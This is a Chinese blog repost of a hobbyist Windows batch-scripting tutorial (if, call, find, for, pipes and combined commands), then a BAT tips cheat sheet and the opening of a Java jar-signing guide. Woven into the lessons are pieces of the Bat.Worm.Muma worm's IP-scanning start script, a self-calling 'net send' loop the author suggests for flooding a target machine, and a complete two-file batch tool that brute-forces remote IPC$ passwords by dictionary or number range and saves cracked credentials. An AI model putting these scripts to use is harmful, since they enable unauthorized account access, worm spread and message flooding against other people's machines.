看到本质了吧?其实只是把结果判断后所执行的命令互换了一下,“if not errorlevel 1”和“if errorlevel 0”的效果是等效的,都表示上一句masm命令执行成功(因为它是错误判断,而且返回码为0,0就表示否定,就是说这个错误不存在,就是说masm执行成功)。这里是否加not,错误码到底用0还是1,是值得考虑的两个问题,一旦搭配不成功脚本就肯定出错,所以一定要体会的很深刻才行。如何体会的深刻?练习!自己写一个脚本,然后把有not和没有not的情况,返回码为0或1的情况分别写进去执行(怎么,嫌麻烦啊?排列组合算一下才四中情况你就嫌麻烦了?后面介绍管道命令和组合命令时还有更麻烦的呢!怕了?呵呵。),这样从执行的结果中就能很清楚的看出这两种情况的区别。

这种用errorlevel结果判断的用法是if命令最难的用法,但也恰恰是最有用的用法,如果你不会用errorlevel来判断返回码,则要达到相同的效果,必须用else来表示“否则”的操作,是比较麻烦的。以上代码必须变成:

masm %1.asm
if exist %1.obj link %1.obj
else pause & edit %1.asm

关于if命令的这三种用法就say到这里,理解很简单,但应用时就不一定用的那么得心应手,主要是熟练程度的问题。可能有的朋友有点惊讶,我怎么没给出类似下面三行的用法介绍,是因为下面三行是if命令帮助里对它自身用法的解释,任何人只要一个“if /?”就能看到,我没有必要在这里多费口舌;更重要的原因,是我觉得这样介绍的不清楚,看的人不一定看的懂,所以我采用上面自己对if命令的理解来介绍。一定要注意的是,这三种用法的格式各不相同,而且也是不能改变的,但实际上可以互换(以为从本质上讲,这三种用法都是建立在判断的基础上的,哲学教我们学会透过现象看事物本质!)。有兴趣的朋友可以自己研究一下。

IF [NOT] ERRORLEVEL number do command
IF [NOT] string1==string2 do command
IF [NOT] EXIST filename do command
8、call

学过汇编或C的朋友,肯定都知道call指令表示什么意思了,在这里它的意思其实也是一样的。在批处理脚本中,call命令用来从一个批处理脚本中调用另一个批处理脚本。看例八(默认的三个脚本文件名分别为start.bat、10.bat和ipc.bat):

start.bat:
……
CALL 10.BAT 0
……

10.bat:
……
ECHO %IPA%.%1 >HFIND.TMP
……
CALL ipc.bat IPCFind.txt

ipc.bat:
for /f "tokens=1,2,3 delims= " %%i in (%1) do call HACK.bat %%i %%j %%k

有没有看出什么不对的地方?没看出来啊?没看出来就对了,其实就没有不对的地方嘛,你怎么看的出来!从上面两个脚本,你可以得到如下信息:1、脚本调用可以灵活运用,循环运用、重复运用。2、脚本调用可以使用参数!关于第一点就不多说了,聪明的你一看就应该会,这里说一下第二点。

在start.bat中,10.bat后面跟了参数0,在执行时的效果,其实就是把10.bat里的参数%1用0代替。在start.bat 中,ipc.bat后面跟了参数ipcfind.txt(一个文件,也可以做参数),执行时的效果,就是用ipc.bat中的每一行的三个变量(这里不懂没关系,学过for命令后就懂了),对应代换ipc.bat中的%%i、%%j和%%k。这里参数调用是非常灵活的,使用时需要好好体会。在初学期间,可以先学习只调用脚本,至于连脚本的参数一起使用的情况,在后面的学习中自然就会有比较深刻的理解,这是因为当你已经可以灵活运用批处理脚本后,如何使代码写的更精简更完美更高效就自然包括到了考虑的范围,这时候你就会发现在调用脚本时直接加入参数,可以使代码效率加倍。By the way,上面的这几个脚本,都是Bat.Worm.Muma病毒的一部分,在后面的教程里,大家将有机会见到这个病毒的真面目。
那是不是说,在同一个目录下至少存在两个批处理脚本文件(只有一个你调用谁?)?呵呵,注意了,这句话错了!!只有一个照样可以调用----调用自身!看例九(默认脚本文件名a.bat):

net send %1 This is a call example.
call a.bat

这两句一结合,效果自然不怎么样,因为只有一台机器来发消息,谁怕谁啊?我给你来个礼尚往来!可如果有100台机器同时执行,而且每台机器开10和窗口同时向一个目标机器发消息的话,呵呵。这里call a.bat的作用就是调用自身,执行完前一句net send命令后再调用自身,达到了循环执行的目的。

给出一个很有意思的脚本,有兴趣的朋友可以实验一下。例十(默认脚本文件名为a.bat):

call a.bat

一定要在DOS窗口下执行,否则只会看到一个窗口一闪而过,看不到最后结果。等执行完后,当脚本被执行了1260次,别忘了想一下到底是为什么!爱情有时候跟这个脚本一样,一旦陷入死循环,最后的结果都是意想不到的。只是爱情,绝对不会等到被毫无理由的循环这么多次,也许在第三次时就出现了love is aborted的提示。

9、find

这是一个搜索命令,用来在文件中搜索特定字符串,通常也作为条件判断的铺垫程序(我怎么突然想起了这四个字?)。这个命令单独使用的情况在批处理中是比较少见的,因为没什么实际意义。还是借例三来说明:

@echo off
netstat -a -n > a.txt
type a.txt | find "7626" && echo "Congratulations! You have infected GLACIER!"
del a.txt
pause & exit

先用netstat命令检查是否有冰河默认的端口7626在活动,并把结果保存到a.txt中。然后使用type命令列出a.txt中的内容,再在列出的内容中搜索字符串“7626” ,发现有的话则提示中了冰河,否则退出。看,find命令其实就这么简单,但有一点必须要注意到:如果不使用type命令列出a.txt中的内容,而是直接使用find命令在a.txt中找“7626”(find a.txt "7626" && echo "Congratulations! You have infected GLACIER!"),就必须得给出这个a.txt的绝对路径(我试过了,find并没有默认路径就是当前路径的功能,必须手动指定。也许是我错了,欢迎指正)。因为在find命令的帮助里有这么一句话:如果没有指定路径,find将搜索键入的或者由另一个命令产生的文字。这里的“另一个命令”自然就指的 type命令了。

至于find命令的其他几个参数如v、n、i等,有兴趣的朋友自己去研究吧,这已经属于DOS学习的内容了,这里就不做介绍。关于find命令和其他命令的一些更精妙的用法(有些简直令人叫绝),后续的教程中将介绍,希望关注。

10、for、set、shift

为什么把这三个命令放到一起来讲?原因除了我说明外,恐怕谁也想不到!很简单的一句话:其实我也不太懂!是的,对于这两个命令,我是从研究 Bat.Worm.Muma病毒开始学习的,时间过去了不少,但还是没完全搞明白,我怕讲出来连自己都看不懂,我更怕不小心讲错了成了罪人。所以我给出一个脚本去告诉你,如何让这两个命令给自己留一个初步的印象,其实也就是这两个命令的入门,而并不是说如何领会这两个命令。因为要领会如此精妙的两个命令(特别是for)谈何容易!也许你会表扬我说我诚实、不懂就不懂;也许你会骂我,让我既然不懂就赶紧滚蛋,不要在这里丢人显眼;也许你还会说一些别的这样那样好听或不好听的话,都随便你了,即使我不同意你说的话,我也会誓死捍卫你说话的权利。看例十一:

@echo off
for /? > for.txt
set /? > set.txt
shift /? >shift.txt
exit

执行后在当前路径下就生成for.txt、set.txt和shift.txt三个文件,里面分别记录了for命令、set命令和shift命令的帮助信息。地球人都能看懂,我就不多说了。我在网上曾经找了很长时间这三个命令的教程,但都不理想,基本都是照搬的帮助信息。我想在自己完全掌握了这两个命令后,一定要写一篇用自己的文字总结出来的for、set和shift教程(关于shift命令,后面介绍批处理的参数时还将涉及到),一定会的,这是我的心愿之一!需要注意的一点是,这三个命令的帮助里,介绍的都比较死板,虽然也举了一些例子,但这是远远不够的。要掌握这两个命令,最需要的就是耐心!没写错,就是耐心。光是认真看完它们的帮助文字就已经需要足够的耐心了,要进一步练习领会这两个命令,难道不需要更大的耐心?实战练习的机会我会留给你的,关键还是那句话,看你有没有耐心去研究了。看看例十二:

START.BAT:
CALL MUMA.BAT
SET IPA=192.168
CALL 10.BAT 0
:NEARAGAIN
netstat -n|find ":" >A.TMP
FOR /F "tokens=7,8,9,10,12 delims=.: " %%I IN (A.TMP) DO SET NUM1=%%I&& SET NUM2=%%J&& SET NUM3=%%K&& SET NUM4=%%L&& SET NUM5=%%M&& CALL NEAR.BAT
:START
CALL RANDOM.BAT
IF "%NUM1%"=="255" GOTO NEARAGAIN
IF "%NUM1%"=="192" GOTO NEARAGAIN
IF "%NUM1%"=="127" GOTO NEARAGAIN
IF "%NUM2%"=="255" GOTO NEARAGAIN
IF "%NUM3%"=="255" GOTO NEARAGAIN
IF "%NUM4%"=="255" GOTO NEARAGAIN
SET IPA=%NUM1%.%NUM2%
ECHO START > A.LOG
PING %IPA%.%NUM3%.1>B.TMP
PING %IPA%.%NUM3%.%NUM4%>>B.TMP
FIND /C /I "from" B.TMP
IF ERRORLEVEL 1 GOTO START
CALL 10.BAT %NUM3%
DEL A.LOG
GOTO START
这是Bat.Worm.Muma病毒的起始脚本,设置了病毒运行的环境变量。是不是看的头都大了?又忘了写在第一章第一段的那句话(静下心来!),你应该能体会到学习这两个命令所需要的耐心了吧。就如同去爱一个人,你得学会宽容,打不得骂不得,用你宽大的胸怀去包容她的一切,即使你发现爱她的过程如看上面代码的过程一样让你头大,但你还是得爱下去----爱需要理由吗?不需要吗?需要吗?不需要吗……等到风平浪静后,最直观的收获就是,你的耐心变的前所未有的充足,面对她的复杂和善变,你自己会处变不惊,以自己的方式去从容应付曾经应付不了的场面,即使到最后一身伤痕,也会感慨曾经的举动有多么伟大。

没错,这就是批处理的魅力,这就是爱的魅力。让你受了伤还感谢伤你的人。这种感觉就好象在自己最喜欢的音乐声中被人强奸,痛并快乐着。

不得不再次重申一遍,各种DOS命令是批处理的BODY(我实在找不出一个更合适的词来形容他们之间的关系),学好DOS命令是学好批处理的前提。其他 DOS命令如copy、dir、del、type、path、break、start等内部命令,以及ping、net、cmd、at、sort、 attrib、fc、find等外部命令,在批处理里的应用非常广泛。这篇教程的作用,是教你认识批处理,以及如何利用DOS命令组合出来一个完美的批处理脚本,去让它自动完成你想要它做的事情。而灵活自如的编辑一个批处理脚本是建立在熟练掌握DOS命令的基础上的,这已经超出了本文的范畴,在此就不赘述了。

不知不觉中第三章已经结束了。耳麦里传来的依然是陈晓东的《比我幸福》,每隔4分32秒就自动重播。虽然我不并不很喜欢陈晓东,可这并不妨碍我喜欢音乐,喜欢这首描写的如此让人感慨的歌。请你一定要比我幸福/才不枉费我狼狈退出/再痛也不说苦/爱不用抱歉来弥补/至少我能成全你的追逐/请记得你要比我幸福 /才值得我对自己残酷/我默默的倒数/最后再把你看清楚/看你眼里的我好馍糊/慢慢被放逐。我如同一个因年老失色而拉不到客的老妓女,绝望的徘徊在曾经辉煌的红灯区,用一脸的木然瞟一眼来来去去的人群,默默的回忆自己并不光彩的过去,幻想自己将要面对的未来。直到看见那些幸福依偎在一起的情侣们,才突然间发现上帝的公平,和这种公平的残忍。
可以说,批处理脚本中最重要的几个命令我都没有给出如echo或if那样比较详细的介绍,原因我已经说了,因为我也是个菜,我也不太懂----但我正在学!你呢?今天又去了一趟图书馆,淘金一样发现了一本叫《DOS批文件》的东东,藏在一个角落里落满了灰,五本摞一起就跟砖头一样厚了。大概翻了一下,里面介绍了很多比较底层和基础的东西,虽然从思路上讲,已经有点time out了,很多东西已经基本没有利用的价值(这就是信息时代的更新速度),但还是很值得看的。于是打算下午淘过来,放假回去了再好好研究一番,连同那几个不熟悉的命令一起搞熟了,再续写这篇教程。我始终坚信,没有最好只有更好。

但是很可惜,等到下午再去的时候,图书馆楼梯口已经立了一个牌子,上面写着out of service----人家这学期的工作结束了。于是回到宿舍打算继续写第四章,正在这时又得到一个“振奋人心”的消息:期末考试有一科挂了,而且是全班第一----这一门整个班里就挂了我一个。郁闷的情绪刹那间涌上心头,整个世界仿佛都变成黑的了。食堂和小卖部已经陆续关门,学校里的人越来越少,迎面过来的几个同学也都一身行李,忙碌着准备回家过年,内心的孤寂和失落如同夏日里暴雨前的乌云,迅速而不可抗拒的占领了心里每一个角落。迎着一月的冷风我一个人在天桥上发呆,还能怎么样,连期末考试都应付不了的失败男人。

“课间休息”时间好象长了点,呵呵,上课了!从这一章开始,将详细介绍批处理中常用的几个组合命令和管道命令。这些命令虽然不是必须的,如同爱一个人时不一定非得每天去陪,但如果少了这个过程,事情就会变的复杂而不完美,所以我认为管道命令和组合命令是批处理的调味剂,几乎是少不了的。

下面从管道命令讲起。常用的管道命令有以下这些:|、>、>>

11、|

这个命令恐怕大家不是很陌生,经常操作DOS的朋友都应该知道,当我们查看一个命令的帮助时,如果帮助信息比较长,一屏幕显示不完时DOS并不给我们时间让我们看完一屏幕再翻到另一屏幕,而是直接显示到帮助信息的最后。如在提示符下输入help回车时,就会看到当前DOS版本所支持的所有非隐含命令,但你只能看到最后的那些命令,前面的早就一闪而过了,如何解决这个问题?看例十三:

help | more

回车后会发现显示满一屏幕后就自动暂停,等候继续显示其他信息。当按写回车时,变成一个一个的出现;按下空格键时一屏幕一屏幕显示,直到全部显示完为止;按其他键自动停止返回DOS。

为什么会出现上述现象?答案很简单,这里结合了管道命令|和DOS命令more来共同达到目的的。这里先简单介绍一下help命令和more命令,对理解|命令的用法有很大帮助。

11.1、help命令。其实这个命令是不需要多说的,但在上述例子中help命令的用法比较特殊,直接在DOS提示符下输入help命令,结果是让 DOS显示其所支持的所有非隐含命令,而在其他地方用help命令,如输入net help回车,则是显示net命令的帮助信息。

11.2、more命令。可能很多朋友以前就没有接触过这个命令,这个命令在Linux下的用处非常广泛,也是管道命令之一。大家可以找一篇比较长的文章(a.txt)在DOS提示符下输入如下两个命令去比较一下差别:more a.txt和type a.txt。利用more命令,可以达到逐屏或逐行显示输出的效果,而type命令只能一次把输出显示完,最后的结果就是只能看到末尾的部分。在例十三里,more命令的作用就是让输出的信息逐屏或逐行显示。
看到这里,你是否已经能隐约感受到了|命令的作用了?没错,它的作用,就是把前一命令的输出当后一命令的输入来用的。在例十三里,前一命令的输出,就是 help命令执行后显示的DOS所支持的所有非隐含命令,而这个结果刚好做了后一命令more的输入。所以例十三和下面的例十四是等效的:

help > a.txt
more a.txt
del a.txt

这里利用另一管道命令>生成了一个a.txt文件作为中间环节,在用more命令查看a.txt文件后再删除a.txt文件(例十三的所有操作是在内存中进行的,不生成文件)。可以看出,正确使用管道命令|可以带来事半功倍的效果。

结合例十三和例十四,以及前面的例九再体会一遍:|命令的作用,就是让前一命令的输出当做后一命令的输入。

12、>、>>

这两个命令的效果从本质上来说都是一样的,他们都是输出重定向命令,说的通俗一点,就是把前面命令的输出写入到一个文件中。这两个命令的唯一区别是,>会清除掉原有文件中的内容后把新的内容写入原文件,而>>只会另起一行追加新的内容到原文件中,而不会改动其中的原有内容。例十五:

echo @echo off > a.bat
echo echo This is a pipeline command example. >> a.bat
echo echo It is very easy? >> a.bat
echo echo Believe your self! >> a.bat
echo pause >> a.bat
echo exit >> a.bat

依次在DOS提示符下输入以上各行命令,一行一个回车,将在当前目录下生成一个a.bat文件,里面的内容如下:

@echo off
echo This is a pipeline command example.
echo It is very easy?
echo Believe your self!
pause
exit

看到这里,你得到了多少信息?1、可以直接在DOS提示符下利用echo命令的写入功能编辑一个文本,而不需要专门的文本编辑工具;2、管道命令> 和>>的区别如上所述。如果这里只用>命令来完成上面操作,最后也会生成一个a.bat,但里面的内容就只剩下最后一行exit了。所以>和>>一般都联合起来用,除非你重定向的输出只有一行,那么就可以只用>了。结合例一再仔细体会输出重定向管道命令> 和>>的用法。

13、<、>&、<&

这三个命令也是管道命令,但它们一般不常用,你只需要知道一下就ok了,当然如果想仔细研究的话,可以自己查一下资料。

<,输入重定向命令,从文件中读入命令输入,而不是从键盘中读入。
>&,将一个句柄的输出写入到另一个句柄的输入中。
<&,刚好和>&相反,从一个句柄读取输入并将其写入到另一个句柄输出中。

关于这三个管道命令的举例,在后面批处理脚本的精妙应用中还将涉及到。


下面介绍组合命令:&、&&、||

组合命令,顾名思义,就是可以把多个命令组合起来当一个命令来执行。这在批处理脚本里是允许的,而且用的非常广泛。它的格式很简单----既然现在已经成了一个文件了,那么这多个命令就要用这些组合命令连接起来放在同一行----因为批处理认行不认命令数目。组合命令的作用,就如同给爱人陪不是,说一句是说,说十句也是说,不一次把好话都说了出来,效果可能会好些----当然得排除一种特殊情况:这些话是否有先后顺序,有些话是否可以同时说。在批处理脚本里也一样,有些时候某些命令是不能同时执行的,后面给你说。

刚刚又送走了一个同学,人去楼空的感觉越来越明显,望着空荡荡的床铺,平日里喧闹的宿舍就只剩下我一个人了,整个世界只有那个平时令人非常讨厌的老鼠这时候才显得可爱起来----只有它会陪着我在这不敢开灯的漆黑夜里----一个连期末考试都应付不了的失败男人。失败!我感到快要呼吸不过来,这种失败的压力简直令我窒息,简直让我的手接收不到大脑的信号,简直让这篇未完成的教程夭折。但我能怪谁?

忙碌了一学期要过年了却挂了科,失败;挂了科也倒罢了,竟然一个人拖全班的后退,失败中的失败;更失败的,是在这最失落的时候,竟然找不到一个人可以倾诉;然而最失败的,是突然发现自己竟然如此脆弱,如此耐不住寂寞。不过这倒也解开了心中疑惑很久的一个问题:为什么明知道那段情是一个旋涡却还心甘情愿的往里面跳----这就是青春,风一样的年龄,火一样不安的心。不再爱了,我不要再一个人的时候苦苦等待;不再爱了,我不要在你给的囚笼里怜悯的爱;不再爱了,我不要在别人的视线里如此可笑;不再爱,我不再爱。就算塌下来,我也要一个人扛着,头不能低腰不能弯,不能喘息不能倾诉,因为虽然失败,但还是男人,是男人就不能向困难低头!

14、&

这可以说是最简单的一个组合命令了,它的作用是用来连接n个DOS命令,并把这些命令按顺序执行,而不管是否有命令执行失败。例十六:

copy a.txt b.txt /y & del a.txt

其实这句和move a.txt b.txt的效果是一样的,只不过前者是分了两步来进行的(在后面还将涉及到具体使用哪种方法的问题)。这个命令很简单,就不多费口舌了,唯一需要注意的一点是,这里&两边的命令是有执行顺序的,从前往后执行。


15、&&

切记,这里介绍的几个命令都是组合命令,所以他们前后都必须都有其他命令(要不如何组合?)。这个命令也不例外,它可以把它前后两个命令组合起来当一个命令来用,与&命令不同之处在于,它在从前往后依次执行被它连接的几个命令时会自动判断是否有某个命令执行出错,一旦发现出错后将不继续执行后面剩下的命令。这就为我们自动化完成一些任务提供了方便。例十七:

dir 文件://1%/www/user.mdb && copy 文件://1%/www/user.mdb e:\backup\www

如果远程主机存在user.mdb,则copy到本地e:\backup\www,如果不存在当然就不执行copy了。这句对搞网管的朋友是否有点用呢?呵呵。其实它和下面这句的作用是一样的:

if exist 文件://1%/www/user.mdb copy 文件://1%/www/user.mdb e:\backup\www

至于你喜欢用哪个就随便了,我没办法判断dir和if两个命令哪一个执行效率更高,所以不知道用哪个更好,呵呵。

你是否还记得“有些命令是不能同时执行的”?你是否相信这句话?当然得相信,不信就给你出道题:把C盘和D盘的文件和文件夹列出到a.txt文件中。你将如何来搞定这道题?有朋友说,这还不是很easy的问题吗?同时执行两个dir,然后把得到的结果>到a.txt里就ok了嘛,看例十八:

dir c:\ && dir d:\ > a.txt

仔细研究一下这句执行后的结果,看看是否能达到题目的要求!错了!这样执行后a.txt里只有D盘的信息!为什么?就因为这里&&命令和>命令不能同时出现一个句子里(批处理把一行看成一个句子)!!组合命令&&的优先级没有管道命令>的优先级高(自己总结的,不妥的地方请指正)!所以这句在执行时将本分成这两部分:dir c:\和dir d:\ > a.txt,而并不是如你想的这两部分:dir c:\ && dir d:\和> a.txt。要使用组合命令&&达到题目的要求,必须得这么写:

dir c:\ > a.txt && dir d:\ >> a.txt

这样,依据优先级高低,DOS将把这句话分成以下两部分:dir c:\ > a.txt和dir d:\ >> a.txt。例十八中的几句的差别比较特殊,值得好好研究体会一下。

当然这里还可以利用&命令(自己想一下道理哦):

dir c:\ > a.txt & dir d:\ >> a.txt

16、||

这个命令的用法和&&几乎一样,但作用刚好和它相反:利用这种方法在执行多条命令时,当遇到一个执行正确的命令就退出此命令组合,不再继续执行下面的命令。题目:查看当前目录下是否有以s开头的exe文件,如果有则退出。例十九:

@echo off
dir s*.exe || exit

其实这个例子是有破绽的,你看出来了吗?其实很简单,自己试试就知道了嘛:如果存在那个exe文件,就退出;如果不存在那个exe文件,也退出!为什么?因为如果不存在那个.exe文件,则前一条命令dir s*.exe执行肯定是不成功的,所以就继续执行exit,自然就退出了,呵呵。那么如何解决题目给出的问题呢?看例二十:

@echo off
dir s*.exe || echo Didn't exist file s*.exe & pause & exit

这样执行的结果,就能达到题目的要求,是否存在s*.exe将出现两种结果。这里加暂停的意思,当然是让你能看到echo输出的内容,否则一闪而过的窗口,echo就白写了。

给出两个更好研究优先级(同时也是更难理解)的脚本,仔细研究它们的区别,以便彻底理解各种命令的优先级顺序,对以后自己利用这些命令写脚本有很大的好处----不会出错!OK,请看例二十一和例二十二:
例二十一:

@echo off
dir a.ttt /a & dir a.txt || exit

例二十二:

@echo off
dir a.ttt /a && dir a.txt || exit

警告:患有心脑血管病的朋友请不要研究以上两例,否则轻者头大如斗,重者血管爆裂。任何人由于研究这两个脚本的区别而造成的任何事故由自己或其合法监护人负责,与本人和本论坛无关。特此警告!

有关管道命令和组合命令就大概介绍到这里了,不知道聪明的你是否理解?呵呵,能理解就成天才了,除非你以前就已经掌握!千万别小看了这几个鬼命令,大棒槌是我的说,简直就不是人学的东西!但我还是静下心来研究了一番,最后得出的结论如上所述,已经一点不剩的交给你了,希望你好好收藏并消化吸收,当然有错误被你发现了,或者不完整的地方被你看出来了,请赶紧告诉我一声!

这几个命令真的把我的头都搞大了。在网上有一篇流传很广的批处理教程:“简明批处理教程”,虽然说的比较全面,但看起来很不过瘾。在对for等命令介绍时就一个for /? > a.txt & start a.txt完事了(当然这一点上我不能说人家什么,毕竟我连for /?都没给出),而对上述管道命令和组合命令、以及这篇教程以后将讲到的用批处理操作注册表等方面根本没有介绍。我之所以花整整一章来讲管道命令和组合命令,是因为他们才是批处理的精华和灵魂,能否正确利用好这几个命令,是能否掌握批处理的前提条件。如for、set等DOS命令的问题,可以从DOS的角度出发专门有针对性的学习,但有关这几个命令的问题,却是不容易精通掌握的----他们之间的关系太复杂了!
将下列代码存为bat文件
1、如果用字典破解:pass.bat 字典文件路径及名称 主机 用户名
2、如果用数字破解:pass.bat 起始数 步长 结束数 主机 用户名
密码破解出来之后,存放于c:\pass.txt文件里面。
将下列代码存为pass.bat文件
@echo off
echo ------------------------------------------------------------------- >>c:\pass.txt
echo ------------------------------------------------------------------- >>c:\pass.txt
date /t >>c:\pass.txt
time /t >>c:\pass.txt
echo 破解结果: >>c:\pass.txt
if "%6"=="1" goto 大棒槌是我的说2
:大棒槌是我的说1
start "正在破解" /min cmd /c for /f %%i in (%1) do call test.bat %2 "%%i" %3
goto quit
:大棒槌是我的说2
start "正在破解" /min cmd /c for /l %%i in (%1,%2,%3) do call test.bat %4 "%%i" %5
:quit
将下列代码存为test.bat
net use \\%1\ipc$ %2 /user:"%3"
goto answer%ERRORLEVEL%
rem %ERRORLEVEL%表示取前一命令执行返回结果,net use成功返回0,失败返回2
:answer0
echo 远程主机:"%1" >>c:\pass.txt
echo 用 户:"%3" >>c:\pass.txt
echo 密 码:%2 >>c:\pass.txt
net use \\%1\ipc$ /delet
exit
:answer2


For
对一组文件中的每个文件运行指定的命令。

可以在批处理程序中或直接从命令提示符使用 for 命令。

要在批处理程序中使用 for 命令,请使用以下语法:

for %%variable in (set) docommand [command-parameters]

要在命令提示符下使用 for,请使用以下语法:

for %variable in (set) do command [command-parameters]

参数

%%variable 或 %variable

代表可替换的参数。for 命令使用在 set 中指定的每个文本字符串替换 %%variable(或 %variable),直到此命令(在 command-parameters 中指定)处理所有的文件为止。使用 %% variable 在批处理程序中执行 for 命令。使用 % variable 通过命令提示符执行 for 命令。变量名区分大小写。

(set)

指定要用指定的命令处理的一个或多个文件或文本字符串。需要括号。

command

指定要在指定的 set 所包含的每个文件上执行的命令。

command-parameters

指定要用于指定命令(如果指定的命令要使用任何参数或开关)的任何参数或开关。

如果启用了命令扩展(Windows 2000 中的默认设置),将支持 for 命令的其他形式。
For 命令的其他形式
如果启用了命令扩展,将支持如下 for 命令的其他格式:

只限于目录

for /D [%% | %]variable in (set) docommand [command-parameters]

如果 set 包含通配符(* 和 ?),则指定与目录名匹配,而不是文件名。

递归

for /R [[drive :]path] [%% | %]variable in (set) docommand [command-parameters]

进入根目录树[drive:]path,在树的每个目录中执行 for 语句。如果在 /R 后没有指定目录,则假定为当前目录。如果 set 只是一个句号 (.) 字符,则只列举目录树。

迭代

for /L [%% | %]variable in (start,step,end) do command [command-parameters]

集合是一系列按步长量划分的、从头到尾的数字。这样,(1,1,5) 将生成序列 1 2 3 4 5,而 (5,-1,1) 将生成序列 (5 4 3 2 1)。


BAT文件技巧
                          



文章结构
1. 所有内置命令的帮助信息
2. 环境变量的概念
3. 内置的特殊符号(实际使用中间注意避开)
4. 简单批处理文件概念
5. 附件1 tmp.txt
6. 附件2 sample.bat


######################################################################
1. 所有内置命令的帮助信息
######################################################################
ver
cmd /?

set /?
rem /?
if /?
echo /?
goto /?
for /?
shift /?
call /?
其他需要的常用命令
type /?
find /?
findstr /?
copy /?
______________________________________________________________________
下面将所有上面的帮助输出到一个文件
echo ver >tmp.txt
ver >>tmp.txt
echo cmd /? >>tmp.txt
cmd /? >>tmp.txt
echo rem /? >>tmp.txt
rem /? >>tmp.txt
echo if /? >>tmp.txt
if /? >>tmp.txt
echo goto /? >>tmp.txt
goto /? >>tmp.txt
echo for /? >>tmp.txt
for /? >>tmp.txt
echo shift /? >>tmp.txt
shift /? >>tmp.txt
echo call /? >>tmp.txt
call /? >>tmp.txt
echo type /? >>tmp.txt
type /? >>tmp.txt
echo find /? >>tmp.txt
find /? >>tmp.txt
echo findstr /? >>tmp.txt
findstr /? >>tmp.txt
echo copy /? >>tmp.txt
copy /? >>tmp.txt
type tmp.txt
______________________________________________________

######################################################################
2. 环境变量的概念
######################################################################
_____________________________________________________________________________
C:Program Files>set
ALLUSERSPROFILE=C:Documents and SettingsAll Users
CommonProgramFiles=C:Program FilesCommon Files
COMPUTERNAME=FIRST
ComSpec=C:WINNTsystem32cmd.exe
NUMBER_OF_PROCESSORS=1
OS=Windows_NT
Os2LibPath=C:WINNTsystem32os2dll;
Path=C:WINNTsystem32;C:WINNT;C:WINNTsystem32WBEM
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
PROCESSOR_ARCHITECTURE=x86
PROCESSOR_IDENTIFIER=x86 Family 6 Model 6 Stepping 5, GenuineIntel
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=0605
ProgramFiles=C:Program Files
PROMPT=$P$G
SystemDrive=C:
SystemRoot=C:WINNT
TEMP=C:WINNTTEMP
TMP=C:WINNTTEMP
USERPROFILE=C:Documents and SettingsDefault User
windir=C:WINNT
_____________________________________________________________________________

path: 表示可执行程序的搜索路径. 我的建议是你把你的程序copy 到
%windir%system32. 这个目录里面. 一般就可以自动搜索到.
语法: copy mychenxu.exe %windir%system32.
使用点(.) 便于一目了然
对环境变量的引用使用(英文模式,半角)双引号
%windir% 变量
%%windir%% 二次变量引用.
我们常用的还有
%temp% 临时文件目录
%windir% 系统目录
%errorlevel% 退出代码

输出文件到临时文件目录里面.这样便于当前目录整洁.

对有空格的参数. 你应该学会使用双引号("") 来表示比如对porgram file文件夹操作
C:>dir p*
C: 的目录
2000-09-02 11:47 2,164 PDOS.DEF
1999-01-03 00:47

Program Files
1 个文件 2,164 字节
1 个目录 1,505,997,824 可用字节

C:>cd pro*
C:Program Files>

C:>
C:>cd "Program Files"
C:Program Files>


######################################################################
3. 内置的特殊符号(实际使用中间注意避开)
######################################################################
微软里面内置了下列字符不能够在创建的文件名中间使用
con nul aux / | || && ^ > < *

You can use most characters as variable values, including white space. If you use the special characters <, >, |, &, or ^, you must precede them with the escape character (^) or quotation marks. If you use quotation marks, they are included as part of the value because everything following the equal sign is taken as the value. Consider the following examples:
(大意: 要么你使用^作为前导字符表示.或者就只有使用双引号""了)
To create the variable value new&name, type:
set varname=new^&name

To create the variable value "new&name", type:
set varname="new&name"

The ampersand (&), pipe (|), and parentheses ( ) are special characters that must be preceded by the escape character (^) or quotation marks when you pass them as arguments.

find "Pacific Rim" < trade.txt > nwtrade.txt
IF EXIST filename. (del filename.) ELSE echo filename. missing

> 创建一个文件
>> 追加到一个文件后面
@ 前缀字符.表示执行时本行在cmd里面不显示, 可以使用 echo off关闭显示
^ 对特殊符号( > < &)的前导字符. 第一个只是显示aaa 第二个输出文件bbb
echo 123456 ^> aaa
echo 1231231 > bbb
() 包含命令
(echo aa & echo bb)
, 和空格一样的缺省分隔符号.
; 注释,表示后面为注释
: 标号作用
| 管道操作
& Usage:第一条命令 & 第二条命令 [& 第三条命令...]
用这种方法可以同时执行多条命令,而不管命令是否执行成功
dir c:*.exe & dir d:*.exe & dir e:*.exe
&& Usage:第一条命令 && 第二条命令 [&& 第三条命令...]
当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则一直执行完所有命令;
|| Usage:第一条命令 || 第二条命令 [|| 第三条命令...]
当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的命令则一直执行完所有命令;

常用语法格式
IF [NOT] ERRORLEVEL number command para1 para2
IF [NOT] string1==string2 command para1 para2
IF [NOT] EXIST filename command para1 para2

IF EXIST filename command para1 para2
IF NOT EXIST filename command para1 para2
IF "%1"=="" goto END
IF "%1"=="net" goto NET
IF NOT "%2"=="net" goto OTHER
IF ERRORLEVEL 1 command para1 para2
IF NOT ERRORLEVEL 1 command para1 para2
FOR /L %%i IN (start,step,end) DO command [command-parameters] %%i
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do echo %i %j %k
按照字母顺序 ijklmnopq依次取参数.
eol=c - 指一个行注释字符的结尾(就一个)
skip=n - 指在文件开始时忽略的行数。
delims=xxx - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。

posted @ 2009-06-01 15:50 九宝 阅读(1293) | 评论 (0)编辑 收藏

制作数字签名(转)

一、服务器端:  
          1.将程序需要用到的各种包文件全部解压,然后使用JDK的打包命令将编译好的监控程序.class和刚才解压的包一起打包到一个包中。都是dos状态下的命令,具体命令见jdk1.4的bin目录下,(这里的文件包括JDBC驱动的三个文件)  
    命令如下:  
  jar   cvf     monitor.jar   *.class  
  此命令生成一个名为monitor.jar的包  
  2.为刚才创建的包文件(monitor.jar)创建keystore和keys。其中  
  keystore将用来存放密匙(private   keys)和公共钥匙的认证,alias别名这儿取为monitor。  
  命令如下:  
  keytool   -genkey   -keystore   monitor.keystore   –alias   monitor   -validity   4000  
      此命令生成了一个名为monitor.keystore的keystore文件,  
  接着这条命令,系统会问你好多问题,比如你的公司名称,你  
